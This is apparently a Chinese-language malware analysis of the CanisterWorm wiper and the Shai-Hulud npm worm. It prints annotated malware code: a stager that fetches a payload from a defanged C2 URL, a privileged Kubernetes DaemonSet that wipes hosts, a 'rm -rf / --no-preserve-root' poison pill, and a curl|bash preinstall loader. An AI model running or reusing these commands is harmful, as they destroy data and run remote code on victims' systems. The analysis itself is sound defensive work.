1. 簡介

報告提供了 CanisterWorm 的技術分析,這是由 TeamPCP 開發的破壞性 payload,其目標鎖定 Kubernetes cluster與其他系統。此蠕蟲展現了用於初始存取、橫向移動及資料抹除的複雜技術。本分析將深入探討此蠕蟲的操作階段,包含其 stager、目標鎖定機制以及破壞性元件,特別聚焦於其 Kubernetes wiper 與 poison pill 功能。此外,也將融入與 Kubernetes 安全性及蠕蟲傳播相關的研究見解,以提供對威脅環境的全面理解。

駭客現在用「智能合約」當 C2!CanisterWorm 顛覆你對蠕蟲通訊的認知 | 資訊安全新聞

2. CanisterWorm 技術分析

2.1. 攻擊鏈概述

CanisterWorm 行動(被認定為 TeamPCP 所發起)採用了多階段的攻擊鏈。最初會部署一個 stager 元件,接著識別並鎖定有漏洞的系統。該蠕蟲利用 ICP canister 進行命令與控制 (C2) 操作,這是一種惡意軟體通信的新穎手法 [1]

2.2. Stager 元件

stager 負責初始入侵與 payload 傳遞。它會下載並執行惡意程式的後續階段。原始文章強調了一個用作 stager 的 bash 腳本 [1]

  1. #!/usr/bin/env bash
  2. # 指定使用 bash 來執行這個腳本,透過 env 找到系統中的 bash 路徑。
  3. set -euo pipefail
  4. # -e: 一旦有指令失敗(非 0 回傳值)就停止腳本。
  5. # -u: 使用未定義的變數時會視為錯誤。
  6. # -o pipefail: 在pipeline中,只要有任何一個指令失敗,整個pipeline就算失敗。
  7. if ! command -v kubectl &>/dev/null; then
  8. # 檢查系統中是否有安裝 kubectl,如果沒有就進入安裝流程。
  9. ARCH="amd64"
  10. # 預設架構為 amd64。
  11. if [[ "$(uname -m)" == "aarch64" ]] && ARCH="arm64"
  12. # 如果系統架構是 aarch64,則改成 arm64。
  13. curl -L -s https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/${ARCH}/kubectl \
  14. # 從 Kubernetes 官方下載最新穩定版的 kubectl,依照系統架構選擇正確的執行檔。
  15. chmod +x /tmp/kubectl
  16. # 將下載的 kubectl 設定為可執行檔,放在 /tmp 目錄。
  17. export PATH="/tmp:$PATH"
  18. # 將 /tmp 加入 PATH,讓系統可以直接執行剛下載的 kubectl。
  19. fi
  20. PY_URL="https://souls-entire-defined-routes.trycloudflare[.]com/kube.py"
  21. # 定義一個變數 PY_URL,指向某個 Python 腳本的網址。

此腳本首先檢查系統中是否存在 kubectl 。如果未找到,它會根據系統架構(amd64 或 arm64)下載對應的 kubectl 執行檔案,並將其加入 PATH。隨後,它定義了 PY_URL ,指向下一階段的 payload,即名為 kube.py 的 Python 腳本。這展示了惡意程式常用的技術,確保在受感染的系統上擁有必要的工具,並取得後續的惡意元件。

2.3. 目標鎖定機制

CanisterWorm 採用特定的機制來識別其目標。Python payload kube.py 包含邏輯,用於判斷受感染的系統是 Kubernetes 環境還是非 Kubernetes 系統,以及是否匹配特定的地緣政治目標。此決策的核心邏輯摘要如下 [1]

  1. if __name__ == "__main__":
  2. # 確認這段程式是直接執行,而不是被其他模組匯入。
  3. if is_k8s():
  4. # 如果判斷目前環境是在 Kubernetes cluster內。
  5. if is_iran():
  6. # 如果判斷所在位置是伊朗。
  7. deploy_destructive_ds()
  8. # 呼叫一個函式(名稱顯示可能有破壞性用途)。
  9. else:
  10. # 如果不是在伊朗。
  11. deploy_std_ds()
  12. # 呼叫另一個函式(名稱顯示是標準部署)。
  13. else:
  14. # 如果不是 Kubernetes 環境。
  15. if is_iran():
  16. # 如果判斷所在位置是伊朗。
  17. poison_pill()
  18. # 呼叫一個函式(名稱顯示可能是惡意或終止用途)。
  19. else:
  20. # 如果不是在伊朗。
  21. sys.exit(1)
  22. # 直接結束程式,回傳狀態碼 1。

此程式碼片段說明了條件執行流程。如果系統被識別為 Kubernetes 環境( is_k8s() 回傳 true),它會進一步檢查特定目標( is_iran() )。根據這些條件,它會部署破壞性的 DaemonSet( deploy_destructive_ds() )或標準的 DaemonSet( deploy_std_ds() )。對於非 Kubernetes 系統,如果符合特定目標,它會執行 poison_pill() 函數,否則退出。這種高度針對性的方法讓蠕蟲能對特定環境產生最大影響,同時避免在其他環境中被偵測到。

2.4. Kubernetes Wiper:「Kamikaze」

對於被識別為目標的 Kubernetes 環境,CanisterWorm 會部署一個名為 host-provisioner-iran 且破壞性極強的 DaemonSet,其容器名為 kamikaze 。此 DaemonSet 目的在抹除整個 Kubernetes cluster [1] 。負責部署此 DaemonSet 的 Python 程式碼如下:

  1. def deploy_destructive_ds():
  2. # 定義一個函式 deploy_destructive_ds。
  3. ds_name = "host-provisioner-iran"
  4. # 設定 DaemonSet 的名稱為 "host-provisioner-iran"。
  5. if run_cmd(f"kubectl get ds {ds_name} -n kube-system").returncode == 0:
  6. # 使用 kubectl 檢查 kube-system 命名空間中是否已存在同名的 DaemonSet。
  7. # 如果存在(回傳碼為 0),就直接結束函式。
  8. return
  9. yaml = f"""
  10. # 建立一段 YAML 格式的字串,用來描述 Kubernetes DaemonSet 的設定。
  11. apiVersion: apps/v1
  12. kind: DaemonSet
  13. metadata:
  14. name: {ds_name}
  15. namespace: kube-system
  16. spec:
  17. selector:
  18. matchLabels:
  19. name: {ds_name}
  20. template:
  21. metadata:
  22. labels:
  23. name: {ds_name}
  24. spec:
  25. hostNetwork: true
  26. hostPID: true
  27. tolerations:
  28. - operator: Exists
  29. containers:
  30. - name: kamikaze
  31. image: alpine:latest
  32. securityContext:
  33. privileged: true
  34. command: ["/bin/sh", "-c"]
  35. args:
  36. - |
  37. # 這裡定義容器啟動後要執行的 shell 指令。
  38. # (內容顯示可能有刪除檔案與強制重開機的動作)
  39. volumeMounts:
  40. - name: host-root
  41. mountPath: /mnt/host
  42. volumes:
  43. - name: host-root
  44. hostPath:
  45. path: /
  46. """
  47. # 上面這段 YAML 描述了一個 DaemonSet,會在所有節點上部署一個容器,
  48. # 並且掛載主機的根目錄到容器內。
  49. subprocess.run(["kubectl", "apply", "-f", "-"], input=yaml.encode())
  50. # 使用 subprocess 呼叫 kubectl apply,將 YAML 套用到 Kubernetes cluster。
  51. # 這裡透過標準輸入傳遞 YAML 內容。

這個 DaemonSet 將主機的 root 檔案系統掛載到 /mnt/host 。接著, command args 會執行一系列的破壞性操作:它使用 find /mnt/host -maxdepth 1 -not -name 'mnt' -exec rm -rf {} + 來刪除主機上所有頂層的目錄和檔案(排除 /mnt 自身),然後使用 chroot /mnt/host reboot -f 強制重新啟動。在 securityContext 中使用 hostNetwork: true hostPID: true privileged: true ,賦予了容器極高的權限,使其能直接與主機系統互動。此外, tolerations: [operator: Exists] 確保此 DaemonSet 會被排程到cluster中的每個節點(包括控制平面節點),從而透過單一的 kubectl apply 命令導致整個cluster被抹除 [1]

2.5. 針對非 Kubernetes 系統的「Poison Pill」

對於非 Kubernetes 系統,CanisterWorm 採用了一種更簡單但同樣具毀滅性的破壞機制,稱之為「poison pill」 [1] 。此函數目的在抹除系統的 root 目錄:

  1. def poison_pill():
  2. # 定義一個函式 poison_pill。
  3. cmd = "rm -rf / --no-preserve-root"
  4. # 建立一個字串變數 cmd,內容是一個系統指令(名稱顯示可能會造成破壞性操作)。
  5. if os.getuid() == 0:
  6. # 檢查目前程式是否以 root 使用者身份執行。
  7. os.system(cmd)
  8. # 如果是 root,直接執行 cmd 這個系統指令。
  9. else:
  10. # 如果不是 root 使用者。
  11. os.system(f"sudo -n {cmd} 2>/dev/null || {cmd}")
  12. # 嘗試使用 sudo(非互動模式,不要求輸入密碼)執行 cmd。
  13. # 如果 sudo 失敗,則直接執行 cmd。

這個 Python 函數嘗試執行 rm -rf / --no-preserve-root 。如果腳本以 root 權限執行( os.getuid() == 0 ),它會直接執行命令,該命令會遞迴刪除 root 檔案系統中的所有檔案和目錄。如果不是以 root 身分執行,它會嘗試使用 sudo -n 進行無密碼執行該命令。如果 sudo 失敗,它會繼續執行沒有 sudo 的命令,這仍會刪除當前使用者擁有的所有檔案。這確保了無論權限等級為何,都能達到最大程度的破壞,突顯了此蠕蟲的攻擊性 [1]

2.6. 用於命令與控制的 ICP Canister

CanisterWorm 的一個顯著特點是使用網際網路電腦協定 (Internet Computer Protocol, ICP) canister 進行命令與控制 (C2) [1] 。這種方法偏離了傳統的集中式 C2 伺服器,提供了一個更具韌性且可能更難追蹤的通訊管道。ICP canister 是利用區塊鏈的「智能合約」,結合了程式碼和資料,使其具有防篡改性和高可用性。原始文章指定了所使用的 ICP canister: tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io [1] 。這種 C2 基礎設施的選擇使得偵測和關閉比傳統 C2 伺服器更具挑戰性,因為 canister 運行在去中心化的網路上。

3. 更廣泛的脈絡與相關攻擊手法

3.1. 與 Shai-Hulud 蠕蟲的比較

雖然 CanisterWorm 專注於 Kubernetes 和 Linux 環境中的破壞性 payload,但其他蠕蟲活動,例如 Shai-Hulud,則在不同生態系統中展示了類似的傳播和規避技術。例如,Shai-Hulud 蠕蟲針對 npm 供應鏈,並採用多階段加載過程來隱藏其惡意 payload [2]

Shai-Hulud 蠕蟲利用 package.json 中的 preinstall 腳本來執行一個加載器檔案 setup_bun.js ,該檔案隨後會下載並執行一個高度混淆的 payload bun_environment.js [2] 。這種將看似無害的加載器與大型、混淆的 payload 分開的做法,是一種關鍵的規避策略,使得靜態分析工具的初步檢測更加困難。加載器的核心邏輯如下所示 [2]

  1. // 該檔案會被加入到受害者的 package 中,檔案名稱為 setup_bun.js
  2. #!/usr/bin/env node
  3. // 指定使用 Node.js 來執行這個檔案,透過 env 找到系統中的 node 路徑。
  4. async function downloadAndSetupBun() {
  5. // 定義一個非同步函式 downloadAndSetupBun,用來下載並安裝 Bun。
  6. let command = process.platform === 'win32'
  7. ? 'powershell -c "irm bun.sh/install.ps1|iex"'
  8. : 'curl -fsSL https://bun.sh/install | bash';
  9. // 根據作業系統平台決定要執行的安裝指令:
  10. // - 如果是 Windows (win32),使用 PowerShell 下載並執行 bun.sh 的安裝腳本。
  11. // - 否則(Linux/macOS),使用 curl 下載安裝腳本並透過 bash 執行。
  12. execSync(command, { stdio: 'ignore' });
  13. // 使用 execSync 同步執行上面決定的安裝指令。
  14. // { stdio: 'ignore' } 表示忽略輸出,不顯示在終端機。
  15. runExecutable(bunPath, ['bun_environment.js']);
  16. // 呼叫 runExecutable 函式,執行 bunPath 指向的 Bun 執行檔,
  17. // 並傳入參數 'bun_environment.js',可能是要啟動某個環境設定腳本。
  18. }

CanisterWorm 和 Shai-Hulud 都展示了用於初始存取和 payload 傳遞的複雜方法,這強調了需要健全的供應鏈安全以及持續監控異常行為。CanisterWorm 利用 Kubernetes 的原生功能來實現其破壞性能力,而 Shai-Hulud 則利用軟體供應鏈的漏洞,展示了現代蠕蟲所使用的多樣化攻擊向量。

3.2. Kubernetes 漏洞與利用

CanisterWorm 利用具有高權限的 Kubernetes DaemonSet,凸顯了安全 Kubernetes 設定的至關重要性。對關鍵元件的未經授權存取可能導致嚴重的入侵,正如針對非 Kubernetes 系統的機制所顯示的那樣,這強調了網路安全防禦中持續保持警覺和適應性的必要性。透過了解此類攻擊的技術細節並實施全面的安全措施,組織可以更好地保護其關鍵基礎設施免受這些不斷演變的威脅。

結論

對 TeamPCP 的 CanisterWorm 的技術分析顯示,這是一種高度複雜且具破壞性的惡意軟體,目標鎖定 Kubernetes 環境與 Linux 系統。其多階段攻擊鏈利用 ICP canister 來進行具韌性的命令與控制 (C2),展現出威脅態勢的演變,傳統的安全措施可能因此失效。該蠕蟲能部署具特權的 DaemonSets 以進行整個叢集的清除,並在非 Kubernetes 系統上採用激進的『Poison pill』機制,凸顯了對強健的零信任安全架構的迫切需求。組織必須優先落實最小權限原則,確保服務帳號與容器僅以最低必要權限運作,以防止此類災難性的入侵。此外,持續監控與自動化威脅偵測的整合亦至關重要,以便在異常行為升級為全面性破壞事件之前加以識別與緩解。隨著惡意軟體作者持續利用雲原生特性與去中心化基礎架構,積極且縱深防禦的策略仍是保護關鍵數位資產免受這些先進、具地緣政治針對性的威脅的最有效方法。